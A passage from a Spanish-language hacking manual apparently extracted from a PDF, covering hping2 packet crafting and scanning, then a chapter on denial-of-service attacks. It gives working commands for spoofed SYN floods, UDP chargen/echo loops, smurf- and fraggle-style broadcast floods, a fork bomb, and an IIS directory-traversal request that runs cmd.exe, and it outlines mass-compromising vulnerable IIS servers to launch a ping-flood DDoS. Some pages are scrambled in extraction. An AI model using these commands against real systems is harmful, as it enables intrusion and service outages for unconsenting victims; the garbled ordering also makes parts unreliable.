HPING zombie (eth0 zombie): S set. Para ello podemos utilizar la herramienta Hping2 y comprobar la variación de este valor. ésta respondería al zombie con un SYN/ACK. al recibir un SYN/ACK que no se corresponde con un SYN previo.

xxx. Como el tráfico generado va a ser muy abundante. de esta manera. se comprueba si el id de la máquina zombie se ha modificado o no.xxx. Para hacer pruebas es sugerible que se lancen los siguientes procesos en dos terminales diferentes. Debemos adecuar los puertos según la intención del escaneo: Terminal 1 hping2 -i -u10 -p 80 -r -S -A zombie Terminal 2 hping2 -i -u10 -p 22 -S -A zombie www. lo que haremos es lanzar dos procesos: uno que envía SYN/ACK a la máquina zombie (para controlar la variación del campo id) y otro que enviará los SYN spoofeados a la máquina destino. Como cualquier máquina genera suficiente tráfico como para que éste valor varíe frecuentemente. que responderá con el mismo número de paquetes RST. en vez de tener en cuenta si el valor id ha variado en una o dos unidades. es enviar una gran cantidad de paquetes.zzz Con el parámetro -i controlamos el tiempo de espera entre el envío de cada paquete. y último.yyy. como se representa en la figura 6 paso 1 y 2. el valor del id devuelto por la máquina zombie varía o permanece dentro de unos límites). si vemos el valor del id presentará saltos en la misma proporción que el número de paquetes enviado por segundo. enviamos un paquete cada 10 microsegundos. En este caso.zzz se encuentra abierto. enviará el mismo número de paquetes SYN/ACK a la máquina zombie. si el puerto 22 de la máquina www. produciéndose un incremento en el valor del campo id que será fácilmente apreciable. De esta forma podremos comprobar en tiempo real si al lanzar el segundo proceso (paquetes spoofeados.En el paso 3. Una buena opción para asegurarnos de que esta variación es consecuencia de nuestro envío de paquetes. 132 .yyy.

Posee un modo traceroute mode. Además de usarse como herramienta de seguridad. Todos los campos de las cabeceras pueden ser modificados y controlados haciendo uso de la consola de comandos. un puerto destino y una dirección IP objetivo se pueden fácilmente construir los paquetes TCP.Manipulación de Paquetes con Hping2 El tradicional comando ping ha servido a nuestra comunidad eficientemente. así como la capacidad de enviar archivos entre un canal cubierto y muchas otras características. dado que ya no puede cumplir con la más minima tarea administrativa de redes. este viejo y cansado comando ha dejado de ser necesario. tiene otras funciones entre las que se pueden mencionar las siguientes: • • • • • Pruebas de cortafuegos Escaneo avanzado de puertos Exámen de red usando diferentes protocolos. Al programa hping2 podemos considerarlo como una herramienta analizadora y ensambladora de paquetes TCP/IP con uso orientado a una consola de comandos. revisar todas las opciones del Hping2 estaría muy fuera del alcance de este documento por lo que recomiendo revisar los tutoriales que se encuentran en la página oficial de esta excelente utilería. puede revisarse y bajar en el mismo lugar el Hping3 que es una versión mejorada. Es necesario leer y comprender cabalmente los capítulos en que detallamos los protocolos IP. nos daremos cuenta que hping2 tiene en su haber una infinidad de opciones que pueden verse tecleando ~$man hping2 o ~$hping2 –help Obviamente. Es aquí donde entra en juego la útil herramienta hping2 que llegó para llevar las capacidades del ping a niveles nunca antes sospechados.org/. Comenzaremos enviando diferentes tipos de paquetes TCP con diferentes juegos de flags. Además. Hay que descargarlo para WinXX o Linux desde su página web oficial: http://www. Utilizando Hping2 para fabricar paquetes TCP La fabricación de paquetes TCP es la conducta por defecto de esta utilería. diría alguien. es aquí donde le vamos a sacar más provecho aprendiendo a manipular y fabricar paquetes para testear sistemas remotos. Hemos de jubilarlo y traer a un nuevo chico al pueblo. Traceroute avanzado bajo protocolos específicos Auditoría de pilas TCP/IP Aunque en otros apartados empleamos el hping2.hping. Hping2 no solo es capaz de enviar peticiones ICMP echo. Una vez descargado. Hping2 es relativamente fácil de instalar en cualquier sistema Unix o basado en Unix. UDP. A continuación veremos los flags representados en las opciones del hping2 y sus acciones: 133 . si no que también soporta los protocolos TCP. Fragmentaciones. Y con sistemas remotos me refiero a los equipos en nuestro laboratorio casero de red. make y make install para compilar e instalar el programa respectivamente. Al especificar los flags TCP. ICMP y RAW-IP. TCP y UDP para poder emplear adecuadamente esta utilería. aunado al bloqueo de la mayoría del tráfico ICMP en ambos extremos de la red. hay que invocar los comandos configure. pero con el incremento de la seguridad. Ya estando instalado en el sistema.

.4 ms len=46 ip=192....0. Así mismo es recomendable revisar los conceptos básicos de esta utilería..0..0.168.100 ttl=128 id=18418 sport=0 flags=RA seq=3 win=0 rtt=0..168..168..100.105 y la máquina objetivo es la 192..i 0x0010: c0a8 0064 0a84 0000 2bc6 2e1d 1432 0224 .100 hping statistic ­­­ 5 packets tramitted.168..0.0.. La máquina atacante es la 192... 0x0020: 5002 0200 340b 0000                     P .168.506194 IP 192.105.@.i 0x0010: c0a8 0064 0a82 0000 2b74 715c 00ee aed9 .0...649879 IP 192.+tq\..0...2...105. link­type EN10MB (Ethernet)..d.0..100 ttl=128 id=18417 sport=0 flags=RA seq=2 win=0 rtt=0.u.0.100.  134 ....168. 14:19:24..2691 > 192.Opción ­F  ­S  ­R  ­P  ­A  ­U  ­X  ­Y  Nombre fin  syn  rst  push  ack  urg  xmas  ymas  Acción Establece el flag FIN Establece el flag SYN Establece el flag RST Establece el flag PUSH Establece el flag ACK Establece el flag URG Establece el flag X unused (0x40) Establece el flag Y unused (0x80)  Antes de comenzar a lanzar paquetes por todo nuestro laboratorio de red....100 ttl=128 id=18416 sport=0 flags=RA seq=1 win=0 rtt=0.100.0: S 729051484:729051484(0) win 512 0x0000: 4500 0028 f5e2 0000 4006 02d0 c0a8 0069 E.0.2690 > 192..9 ms Resultados con el tcpdump: ~$ tcpdump tcp ­X ­s 1514 tcpdump: verbose output suppressed.100.....168.0: S 734408221:734408221(0) win 512 0x0000: 4500 0028 79cb 0000 4006 7ee7 c0a8 0069 E.100 HPING 192.100 ttl=128 id=18420 sport=0 flags=RA seq=4 win=0 rtt=1...5 ms len=46 ip=192..$ 0x0020: 5002 0200 b107 0000                     P .100 (eth0 192.. 14:19:23.168.....4/30.+..168..168.0.~....168..168.d.6/149. 40 headers + 0 data bytes len=46 ip=192.6 ms ­­­ 192. Paquete -S (SYN) El primer paquete que vamos a enviar es el –S SYN.( ...d... use ­v or ­vv for full protocol decode listening on eth0..0..0.0. 0x0020: 5002 0200 d4aa 0000                     P . Entrada Hping2: ~$ hping2 ­S 192.>Q..0.( .9 ms len=46 ip=192.168.i 0x0010: c0a8 0064 0a83 0000 3e51 052e 34a4 7513 .4.649886 IP 192.100): S set.0. 0% packet loss round­trip min/avg/max = 0.(y.2692 > 192. En caso de no especificar un puerto origen el programa usará de manera aleatoria un puerto de los efímeros e irá incrementando el número desde ahí.168.. capture size 1514 bytes 14:19:22..5 ms len=46 ip=192.. debemos notar que cuando no se especifica un puerto destino en la máquina remota se lanzará por defecto el 0.168.@.105. 5 packets received.168.0: S 1045497134:1045497134(0) win 512 0x0000: 4500 0028 09bb 0000 4006 eef7 c0a8 0069 E. se recomienda abrir el programa tcpdump para ver los resultados.100 ttl=128 id=18414 sport=0 flags=RA seq=0 win=0 rtt=149.168. Al mismo tiempo..@.0..4..

2894 > 192..0.. use ­v or ­vv for full protocol decode listening on eth0.x..0: R 843167096:843167096(0) win 512 0x0000: 4500 0028 8689 0000 4006 7229 c0a8 0069 E. Como su nombre lo indica.d.0..168.168.. El escaneo SYN (Sigiloso) es uno de los más comunes usados por los escaneadores de puertos.. en rojo.100 HPING 192.. Esto significa que los paquetes RST son enviados y la respuesta que se reciba indicará si existe un host o no..i  0x0010: c0a8 0064 0b4e 0000 3241 b578 14bc b5a8 .  0x0020: 5004 0200 6e56 0000                      P .. hping2 eligió un puerto arbitrario que de inicio fue el 2690.. Si enviamos un escaneo RST obtendremos una de dos opciones: no tendremos ninguna respuesta.100.Ofd..2895 > 192.0 ms Resultados con el tcpdump: ~$ tcpdump tcp ­X ­s 1514 tcpdump: verbose output suppressed. finalmente enviar un paquete ACK para completar el proceso. Esto ya no es así dado que los IDS lanzarán alertas cuando detectan un Syn Scan. En naranja vemos que el puerto objetivo es 0 ya que no especificamos uno..N.r).168..d.168. aunque no se pusieron en el texto de ejemplo..0.@.( . en azul nos indica que el paquete lleva el flag SYN. 6 packets captured 6 packets received by filter 0 packets dropped by kernel 135 . 40 headers + 0 data bytes  ­­­ 192.105. La sintaxis es muy similar a la utilizada en el anterior ejemplo.. 0 packets received.105. o recibiremos un mensaje ICMP host unreachable que nos advierte que el host no existe.nV .. link­type EN10MB (Ethernet).i 0x0010: c0a8 0064 0b51 0000 3dea 4f66 641a 6926 . se recibieron 5 paquetes con el flag ACK desde 192.168..100): R set.0.100.Q. 100% packet loss round­trip min/avg/max = 0.0/0...0/0..0.. porque las conexiones no se registraban en los logs en caso de no completarse el three-way TCP/IP handshake.0. Enviar un paquete SYN es el primer paso en el three-way TCP/IP handshake. El único cambio es colocar -R en vez de -S.010133 IP 192.2A.0.100 hping statistic ­­­ 6 packets tramitted.. este paquete es utilizado para resetear la conexión.168. Paquete -R (RST) El siguiente paquete que enviaremos es el –R Reset (RST).100 (eth0 192.. El paquete RST se usa a menudo para ejecutar lo que se conoce como mapeo inverso...100.992694 IP 192. Cuando el escaneo se usaba en sus inicios era considerado sigiloso. El paso siguiente es la recepción del paquete SYN/ACK de la computadora destino y. La S..=.Como vemos en el ejemplo. capture size 1514 bytes 13:52:02. Algunos IDS no registran los paquetes o escaneos RST debido a la multitud de ellos.(.168..0.0: R 1069416179:1069416179(0) win 512 0x0000: 4500 0028 f915 0000 4006 ff9c c0a8 0069 E...168.. Adicionalmente. lo que es indicativo de que el host puede estar vivo.i& 0x0020: 5004 0200 c5e0 0000                      P . Entrada Hping2: ~$ hping2 ­R 192.. 13:52:05. Es por esta razón que los escaneos inversos son tan populares..0..@. e hizo incrementos de 1 por cada iteración.168.

100 ttl=128 id=27120 icmp_seq=2 rtt=0. puede hacerse incluyendo el operador -2 que le indica a la utilería que trabaje enviando paquetes UDP.0.9 ms ­­­ 192.168.100 name=UNKNOWN ICMP Port Unreachable from ip=192.0. 5 packets received.100 HPING 192. ya que hoy en día la mayoría de los routers bloquean el ICMP.0/0.0. Básicamente. sin embargo. si deseamos enviar un escaneo ICMP.7/14.5/3.0. Paquetes UDP Igual que con el ejemplo anterior. Hping2 permite hacer las mismas pruebas utilizando cualquier paquete IP.168.0.168.100 (eth0 192.0.168. 28 headers + 0 data bytes ICMP Port Unreachable from ip=192.0.0. UDP y TCP.168.0.168.100 ttl=128 id=27122 icmp_seq=4 rtt=0.100 name=UNKNOWN ICMP Port Unreachable from ip=192.100 HPING 192.5 ms len=46 ip=192.0. Cuando un puerto cerrado recibe un paquete con el flag FIN activado.100 (eth0 192.0 ms 136 .5 ms len=46 ip=192.168. ignoraría el paquete. Paquetes ICMP Muchos de los programas ping emplean las peticiones ICMP echo y esperan a que el echo responda para retornar a probar la conectividad.0. Sin embargo.5 ms len=46 ip=192.168. la sintaxis es como sigue: ~$ hping2 ­1 192. 5 packets received.0. DNS y NIS. un puerto abierto no debería hacer nada.100): icmp mode set. si deseamos enviar un paquete UDP.0. 0% packet loss round­trip min/avg/max = 0.168. La sintaxis sería como sigue: ~$ hping2 ­F 192.100 name=UNKNOWN ICMP Port Unreachable from ip=192.168.100 name=UNKNOWN ­­­ 192.168. Sin embargo se ha probado en una máquina con Win XP Profesional SP2 con todos los parches de seguridad y con el cortafuegos desactivado.168. es decir. Esto puede ser de ayuda.100 hping statistic ­­­ 5 packets tramitted.0.100 ttl=128 id=27118 icmp_seq=0 rtt=14.168.100 hping statistic ­­­ 5 packets tramitted.168. para cerrar una conexión establecida y para conducir un escaneo FIN. deberá responder con un RST.168. ~$ hping2 ­2 192. NFS.100): udp mode set.168.9 ms En la sintaxis.100 name=UNKNOWN ICMP Port Unreachable from ip=192.100 ­p 135 Mucha de la documentación explica que este tipo escaneo no funciona debido al parcheo entre otras cosas.Paquete -F (FIN) El paquete FIN se usa para dos cosas. 28 headers + 0 data bytes len=46 ip=192.168.0. incluyendo ICMP. 0% packet loss round­trip min/avg/max = 0. La opción -p indica a hping2 que se pondrá un número de puerto. Hping2 por defecto usará TCP.0.100 ttl=128 id=27121 icmp_seq=3 rtt=1.168.100 ttl=128 id=27119 icmp_seq=1 rtt=0.0.9 ms len=46 ip=192.0.0. el -1 significa la modalidad 1 y le indica a hping2 que envíe paquetes ICMP.0/0. podremos hacerlo.168. Los escaneos UDP con hping2 prueban ser útiles cuando se sondean servicios como NETBIOS.

100 ttl=128 DF id=28737 sport=135 flags=SA seq=2 win=16616 rtt=1.168.4/34.d.100 ttl=128 DF id=28738 sport=135 flags=SA seq=3 win=16616 rtt=1.d 0x0010: c0a8 0069 0087 072f 4d5f b459 00f3 8a7a .../... Vamos a dirigir un paquete SYN a un puerto especificado.1839 > 192.@.069235 IP 192.168.0.0.168. Entrada Hping2: ~$ hping2 ­S 192.1839: S 1298117721:1298117721(0) ack 15960698 win  16616 <mss 1460> 0x0000: 4500 002c 703d 4000 8006 0871 c0a8 0064 E...y:d.( Yk..100): S set..168.0..p=@..168.i 0x0010: c0a8 0064 072f 0087 00f3 8a79 3a64 1ef1 .. capture size 1514 bytes 16:09:12..061047 IP 192..168...z 0x0020: 6012 40e8 4034 0000 0204 05b4 0000     `.@.168.7 ms len=46 ip=192. Vamos a enviar un paquete SYN (-S) a la IP 192.100....3/122./M_.168... En este caso.168.0.168.100 respondió con un SYN-ACK y la máquina atacante contestó con un RST para finalizar la conexión. 40 headers + 0 data bytes len=46 ip=192.@.i 0x0010: c0a8 0064 072f 0087 00f3 8a7a 0000 0000 ... 0% packet loss round­trip min/avg/max = 1...100. 0x0020: 5002 0200 3f4d 0000                            P .135: S 15960697:15960697(0) win 512 0x0000: 4500 0028 596b 0000 4006 9f47 c0a8 0069 E....i....?M.0.0..100 hping statistic ­­­ 4 packets tramitted....5 ms ­­­ 192.. 16:09:12...(.8 ms Resultados con el tcpdump: ~$ tcpdump tcp ­X ­s 1514 tcpdump: verbose output suppressed. link­type EN10MB (Ethernet).105. Recordemos el Three-way TCP/IP handshake. la máquina 192.100. use ­v or ­vv for full protocol decode listening on eth0. Un puerto abierto se detecta por el paquete retornado SA (en rojo).q. Para especificar el puerto de origen en nuestra máquina por el que deseamos que salga nuestro paquete..168.0..100 ttl=128 DF id=28734 sport=135 flags=SA seq=1 win=16616 rtt=11.8 ms len=46 ip=192.4 ms len=46 ip=192.. 137 ...0..0..d.@4..135: R 15960698:15960698(0) win 0 0x0000: 4500 0028 0000 4000 4006 b8b2 c0a8 0069 E.1839 > 192.168.100 (eth0 192.100 ­p 135 HPING 192..0.@.0..168. debemos especificarlo con la opción -s y el número de puerto. en este caso el 135.0...059187 IP 192.0.0.Y.168.G.0.105.Escaneo -S SYN y Puertos Especificados Ahora veremos el poder y la versatilidad del hping2.168.... Esto requiere más switches. Los puertos cerrados se reconocen por los paquetes R..168.z.100. 16:09:12.0..105.135 > 192..100 ttl=128 DF id=28733 sport=135 flags=SA seq=0 win=16616 rtt=122./. 4 packets received... 0x0020: 5004 0000 9a9f 0000                               P .

Ataques de Denegación de Servicio
Introducción Los métodos de denegación de servicio (DoS) han adoptado los mecanismos de la distribución para poder llevar a cabo ataques más sofisticados y eficientes. En este capítulo se describirán los ataques que tienen como objetivo primordial impedir o negar el acceso a determinados servicios, como lo son web, correo y el acceso remoto o una denegación de servicio total del sistema atacado. Un ataque de DoS se caracteriza porque el principal objetivo del atacante es evitar el acceso de los usuarios a los recursos del sistema: inundando una red con tráfico basura, haciendo más lentas las conexiones o bloqueándolas totalmente, interrumpiendo la comunicación entre dos máquinas, bloqueando el acceso de un determinado usuario, etc. En otros tipos de ataques, el DoS es simplemente el preludio de un ataque mayor con un objetivo diferente. El uso ilegítimo o ilimitado de recursos de un sistema es otra forma de DoS. Por ejemplo, si alguien tiene acceso a nuestro FTP y lo utiliza para poner un servidor de Warez, puede llegar a llenar nuestro disco duro con consecuencias desastrosas para nosotros y para la ejecución normal de nuestros servicios.

Tipo de Servicios Atacados Los ataques de DoS son muy variados y se ven afectados servicios muy distintos de los que se pueden nombrar: consumo de recursos limitados, destrucción o modificación de las configuraciones o alteración de los componentes de red. Consumo de Recursos Limitados Aspectos fundamentales para el buen funcionamiento de un equipo o de una red son el ancho de banda de la red, la memoria, disco duro, tiempo de CPU, etc. Un método común de DoS consiste en consumir el ancho de banda disponible, de forma que nadie pueda conectarse o que el servicio se vea ralentizado. Un ataque de este tipo es el SYN FLOOD (de flood: inundar). SYN FLOOD: Este tipo de ataque se basa en la generación de cientos de peticiones de conexión que no llegan a completarse hasta el final, lo que produce un consumo de recursos en el sistema atacado que impide cualquier nueva conexión real. Cuando un cliente trata de comunicarse con un servicio de un determinado servidor, se produce el típico three-way TCP/IP handshake (ver figura). Para que la comunicación pueda llevarse a cabo, este proceso debe producirse por completo.

138

El problema aparece cuando el servidor envía el mensaje con el SYN-ACK pero el cliente no devuelve el ACK que debería finalizar el proceso previo de comunicación. En el SYN-FLOOD se trataría de generar muchas de estas conexiones a medias. El servidor reserva en memoria una estructura de datos describiendo todas las conexiones pendientes que restan por finalizarse, es decir, por recibir el ACK final del cliente. Esta estructura de datos tiene un tamaño finito, por lo que podemos generar un número suficiente de estas conexiones a medias, con la finalidad de llenar la estructura de datos. Cuando hayamos conseguido llenar la estructura de datos de la tabla, el servidor no podrá aceptar nuevas peticiones hasta que la tabla vuelva a disponer de espacio libre. Este tipo de conexiones tienen un timeout asociado, a partir del cual se eliminarán de la tabla y el servidor podrá aceptar conexiones de nuevo. Este tipo de ataque es fácil de efectuar mediante el uso de la técnica de IP Spoofing. El atacante envía un SYN al servidor blanco pero con una dirección IP falseada. De esta manera, el servidor enviará el correspondiente SYN-ACK a la IP falseada que no responderá a este mensaje. Así, el servidor atacado reservará un espacio de memoria por cada una de estas conexiones hasta que se llena la tabla, por lo que no puede aceptar nuevas conexiones. Como las direcciones IP que hemos enviado no son las nuestras, este ataque podrá realizarse conservando el anonimato. Generalmente, mientras no se genere tráfico que sature el ancho de banda, las conexiones que ya estaban establecidas no se verán afectadas. En otras ocasiones, el servidor puede quedarse sin memoria, colgarse o colgar el servicio atacado. Existen soluciones para este tipo de ataque, por lo que puede darse el caso de hacer intentos infructuosos en sistemas protegidos. Sin embargo no todos los sistemas y redes han sido configurados para repeler este tipo de incursiones. Demostración de Ataques Para realizar un ataque SYN-FLOOD se requiere del programa hping2 que ya revisamos en el capítulo anterior y con la que podemos generar paquetes con diferentes características como son SYN, SYN/ACK o ACK activos, IP Spoofing y fragmentación de paquetes. Para nuestras pruebas lo que tenemos que hacer es enviar paquetes con el flag SYN activo y con la IP origen spoofeada al puerto 80, por ejemplo. Con la opción -k se logrará que el hping2 no autoincremente el puerto que especifiquemos con el parámetro -p (puerto 80): hping2 -S -a ip-falsa -p 80 -k ip-maquina-objetivo Si espiamos nuestro tráfico con el tcpdump veremos que los paquetes que estamos enviando son de la forma 01:25:04.745182 ip­falsa.2315 > ip­maquina­objetivo.www: S 1531287039:1531287039(0) win 512 Es decir, paquetes con el SYN (S) activo y como si el origen fuese ip-falsa, en vez de nuestra IP real. Ahora solo tenemos que generar el suficiente número de paquetes para poder inundar la máquina que tenemos como objetivo: hping2 -i u100000 -S -a ip-falsa -p 80 -k ip-maquina-objetivo Con la opción u100000 estaremos enviando 10 paquetes por segundo (u significa el tiempo en microsegundos que debe transcurrir antes de enviar un nuevo paquete). Si queremos enviar más paquetes hay que cambiar el valor de la opción -i.

139

UDP PORT DoS Attack: Cuando somos capaces de establecer una comunicación entre dos servicios que utilizan el protocolo UDP y que producen una salida de datos, estos servicios pueden generar el suficiente tráfico para producir un DoS a ambos equipos. En este tipo de ataque no necesitamos tener en cuenta ninguna de las máquinas, solo será necesario el uso de IP Spoofing para llevar a cabo el ataque. Imaginemos que mediante el empleo de paquetes UDP spoofeados, conectamos el puerto chargen (generador de caracteres -puerto 19) de un equipo con el puerto echo (que repite los datos de entrada -puerto 7) del mismo equipo o de otro distinto. Ambos puertos generarán una gran cantidad de tráfico, lo que redundará en un ocupamiento de ancho de banda exagerado entre ambos equipos e inclusive agotar los recursos. Podemos elevar la eficacia de este ataque conectando el puerto chargen de varios equipos al puerto echo de un mismo equipo. Para ejecutar este procedimiento necesitamos usar de nuevo hping2. hping2 -2 -a IP1-spoofeada -a 7 -p 19 -k IP2 Donde IP2 es la máquina con el servicio chargen. IP1-spoofeada es el equipo con el servicio echo. La mayoría de los sistemas pueden tener implementados mecanismos de protección contra esta clase de DoS. Otra variante es conectar los dos puertos echo para generar un ciclo infinito o circulo vicioso donde los paquetes se intercambian una y otra vez ad infinitum entre las dos máquinas. hping2 -2 -a IP1-spoofeada -s 7 -p 7 -k IP2 ICMP ECHO FLOOD: Para este tipo de ataque se requiere la coordinación de una cantidad considerable de equipos trabajando al mismo tiempo contra un mismo objetivo. Haciendo esto, podremos generar el suficiente tráfico para consumir todo el ancho de banda del servidor. En este ataque tenemos que tener en cuenta el ancho de banda del servidor con el fin de saber el número de equipos necesarios para llevar a buen fin el ataque. En el apartado DDoS (Distributed Denial Of Service) se explicará detalladamente esta forma de ataque. El programa Smurf es una herramienta que nos posibilita llevar a cabo este tipo de ataque. Lo que se hace es enviar paquetes ICMP (los usados por la herramienta ping) a la dirección de broadcast, falseando la dirección de origen con la IP de la máquina que queremos que reciba el torrente de paquetes ICMP. Recordemos que la dirección Broadcast todo el mundo la considera como propia. Si se envía información donde en el campo destinatario aparezca la dirección broadcast, todos los sistemas interpretarán que la información es para ellos. En redes locales, si los últimos números en la dirección IP corresponde a 255, a la IP se le llama dirección de broadcast y llega a todos los equipos por igual. Se emplea, como mencionamos en capítulos anteriores, para funciones internas de control de red. Al enviar los paquete de información a la dirección de broadcast, todas las maquinas que se encuentran en la subred responderán al paquete ICMP, enviando esta respuesta a la dirección IP perteneciente a la máquina blanco. Si el número de equipos en la subred es grande, podremos saturar la red junto con la máquina atacada. Mediante hping2, el ataque se estructuraría de la manera siguiente: hping2 -1 -i u1 -a IP-atacada -d 60000 -E archivo IP-broadcast Con la opción -d indicamos el tamaño de los paquetes a enviar. Con -E señalamos el archivo que utilizamos como datos para generar estos paquetes.

140

Debemos juzgar como ajustar los valores de hping2 según nuestras necesidades, atendiendo al tipo de conexión de la máquina que queremos atacar, número de equipos que formarán parte del ataque, etc. UDP FLOOD: Este procedimiento es similar al ICMP FLOOD, pero con la diferencia de que se usan paquetes UDP. Se envían paquetes UDP a la dirección de broadcast con la dirección IP falsificada con la de la máquina que se quiere atacar. De esta manera, todas las máquinas responderán con mensajes “ICMP Unreachable”, provocando la saturación del equipo. Una herramienta que que implementa este tipo de DoS es Fraggle. Con hping2 la estructura del comando y opciones es: hping2 -2 -i u1 -a IP-atacada -d 60000 -E archivo IP-Broadcast Hay que tener en mente que debemos ajustar los valores -i y -d según nuestras pruebas. Consumo De Otros Recursos. Aparte del consumo de ancho de banda, los atacantes pueden consumir otros recursos. Por ejemplo, en muchos sistemas, existen un número limitado de estructuras de datos utilizados para almacenar la información de los procesos. Un usuario malicioso puede llenar completamente estas estructuras escribiendo un simple programa que crea copias de sí mismo. De esta forma se puede ralentizar o colgar completamente el sistema, como por ejemplo, llenar al límite la memoria disponible o cargar el CPU con un elevado número de procesos. Este ataque es tan sencillo como ejecutar el siguiente programa: #include <stdio.h> void main() while (1) fork(); Cuando ejecutamos este programa se generan rápidamente copias del mismo, las cuales a su vez, generan más y más copias. En solo segundos el sistema se vuelve más y más lento y se cuelga. Hoy día, muchos sistemas previenen este tipo de ataque. Este fue solo un ejemplo de lo que se puede hacer. Otros métodos de consumo de recursos consisten en tratar de llenar el disco duro empleando para este fin servicios del propio sistema, como pueden ser el uso abusivo correo para llenar el espacio a base de mensajes, de servidores FTP o recursos de red demasiado permisivos, generación excesiva de logs. Algunos sistemas controlan el número de intentos de login fallidos, deshabilitando el acceso al usuario cuando se ha llegado al límite de intentos permitidos. Esto puede ser utilizado para denegar el acceso a un usuario legítimo. DDoS (Distributed Denial of Service) De un tiempo para acá, se ha puesto de moda esta modalidad de ataque que la podemos considerar descendiente de la anterior. Un ataque de denegación de servicio distribuído fue perpretado contra los servidores de Yahoo. En este tipo de ataque, la idea es utilizar cientos de computadoras para atacar un servidor específico trabajando al mismo tiempo. Se ha utilizado para tumbar servidores que alojan páginas de pornografía infantil, de campañas políticas y de racismo, etc; pero también servidores de personas que tienen páginas personales, a modo de venganza. Lo emplean hackers maliciosos de tipo lamer.

141

Suponiendo que el servidor que se tenga como objetivo dispone de una conexión T1 (1.58 megabits de ancho de banda), si queremos realizar un DDoS para consumir todo el ancho de banda, requeriremos como mínimo, una conexión del mismo tipo para poder generar la cantidad suficiente de paquetes necesarios para saturar su línea. Esto es algo que no está al alcance de mucha gente. Ahora bien, si empleamos, digamos, 400 computadoras con DSL o Cable, para que todas generen la gran cantidad de paquetes destinados al servidor que se quiere atacar, podremos dejarlo Off-line durante el tiempo que dure el ataque o mientras los responsables del sistema no apliquen los filtros necesarios para evitar el ataque. Ejecución. Para poder llevar a cabo este tipo de incursión, lo más sencillo es centrarse en equipos con Winxx, encontrar una vulnerabilidad que nos permita introducirles un troyano (ver capítulo sobre troyanos) que realizará todo el trabajo y buscar la forma de informar a estos troyanos de cuándo y a qué equipo atacar. Sin embargo, la capacidad de realizar un programa de este tipo no está al alcance de todos, por lo que se explicará una forma más sencilla. Hace un tiempo apareció en IIS (Microsoft's IIS Web Server) una vulnerabilidad que permitía ejecutar cualquier comando en una computadora con Winxx y con un servidor web ejecutándose. Se lograba con la siguiente petición: GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:} Si el servidor IIS es vulnerable responderá con HTTP/1.1 200 OK y con el resultado de la ejecución del comando dir C: si no es vulnerable, obtendremos HTTP/1.1 500 server error, con lo cual podemos saber que este equipo no puede ser utilizado en nuestro ataque. Por medio de un sencillo programa podremos escanear un rango de Ips suficientes como para obtener el número necesario de direcciones IP que tengan un IIS vulnerable. Cuando tengamos a la mano una lista grande, tendremos la posibilidad de enviar el siguiente comando a cada uno de estos servidores: ping.exe -n 9999999 -l 65500 -w 0 <IP_Destino>

142

El ataque de denegación de servicios distribuido por reflejo o DRDoS. UDP Flood y la empleada por “smurf”. se baja la nueva versión del bot y se actualiza. El proceso es sencillo y se basa en el ya repasado three-way TCP/IP handshake que es necesario para conectar los dos equipos.Este comando hará que la computadora envíe 9. Cuando el atacante decide qué servidor. lo más rápido que pueda a la dirección que se quiere atacar. Éste ataque es relativamente sencillo y el número de equipos con IIS que no están parchados y que presentan esta vulnerabilidad sigue siendo grande. También existen una serie de utilerías informáticas que se emplean con la finalidad generar esta clase de ataques. Mediante este programa podremos realizar ataques DDoS con las técnicas ICMP Flood. de pornografía infantil. podemos tener la posibilidad de comprobar si el número de equipos utilizado es suficiente o no. Otras características importantes consisten en permitir su propia actualización. Mediante el comando adecuado. Trin00 y Stacheldraht. entre las que podemos destacar Tribe Force Network. algún router) y realizar el ataque directamente a la IP del router. No es necesario que se utilice la dirección IP del servidor que se quiere atacar. Dependiendo de las conexiones de estas computadoras esclavas. Herramientas. 143 . solo tiene que teclear una serie de comandos en el canal apropiado y todos los bots que se encuentren conectados comenzarán a atacar a la dirección de destino que se les indique. Hay que notar que este bot permite el control de la PC infectada y la grabación de teclazos (como un keylogger). o usar inclusive ambos. tendremos un pelotón de equipos enviando un torrente de paquetes al servidor destino. Todos funcionan bajo la estructura cliente/servidor. Hay que averiguar qué otros equipos están por delante de nuestro objetivo (por ejemplo. lo que nos ayuda a ejecutar un ataque con mayor anonimato. El bot de irc permanece continuamente conectado al servidor del irc mientras el servidor atacado se encuentre en línea. será la víctima. con Stacheldraht las comunicaciones se realizan en forma encriptada. Éste último es un híbrido resultado de la combinación de los dos anteriores. Podemos realizar un ataque con ICMP Flood o con UDP Flood. Los bots del irc son la forma más original que se ha visto para la ejecución de ataques DDoS. DRDoS (Distributed Reflection Denial of Service) Esta es otra variante de ataque DoS.999. pero con nuevas funcionalidades añadidas. por lo que hay que tener cuidado al hacer nuestras pruebas. SYN Flood. por ejemplo. Se puede utilizar un troyano. Se conectan a un canal de un servidor del irc que requiere autenticación y allí permanece en espera de órdenes. Los troyanos usados y que ya han infectado el equipo. haciendo que la máquina infectada actúe como zombie. La idea es emplear estos servidores como origen de los ataques sin la necesidad de instalar en ellos un troyano. Es necesario tener acceso a cada máquina zombie que actuará en el ataque para poder instalar el programa cliente y es dificultoso dado que hay que tener entrada a todas y cada una de las máquinas para poder instalarlo. utiliza IP Spoofing y equipos (servidores y routers) conectados a internet mediante un gran ancho de banda.999 peticiones ICMP Echo de 64kb de tamaño máximo. éste se conecta a una página web. Si este proceso se automatiza por medio de un programa y utilizando la lista de servidores IIS vulnerables que hayamos obtenido. del ancho de banda que disponga el equipo destino y de la simultaneidad del envío de paquetes. se desempeñan como un bot del irc. A diferencia de los dos primeros. como el sub7server. La parte dificultosa es realizar los dos programas: el que recopila la lista de servidores vulnerables y el que utiliza dicha lista para realizar el ataque mediante la ejecución del ping.

Este tipo de ataque se puede extender a otros tipos de servicios y servidores (no necesariamente routers). por lo regular. etc. Gmail o Hotmail. DNS (53). Otra ventaja es su gran ancho de banda. recibe un paquete SYN. el paquete con el SYN/ACK. mediante el traceo de rutas. para enrutar el tráfico entre las diferentes redes que lo componen. Por el contrario. si la dirección de origen del paquete SYN se encuentra spoofeada con la dirección de la máquina que se quiere atacar. Si la dirección del paquete es verdadera porque corresponde con la dirección original. como si fuesen generados por la máquina que tengamos como víctima. lo que los hace ideales para este tipo de ataques. lo que permite generar el suficiente tráfico necesario para poder dejar off-line al servidor que se desea atacar. hay que tener en cuenta que los servidores webs como Yahoo. Esto significa que con solo enviar un paquete SYN con la dirección origen spoofeada. podremos generar el suficiente tráfico que se requiere para saturar el ancho de banda del servidor atacado. por lo regular en tres ocasiones. Esto hace que los servidores reenvíen nuevamente. A todo esto debemos agregar el hecho del reenvío de paquetes por parte de los servidores/routers. será respondida con un ACK. Imaginemos que ahora realizamos una recolección de los routers más importantes. 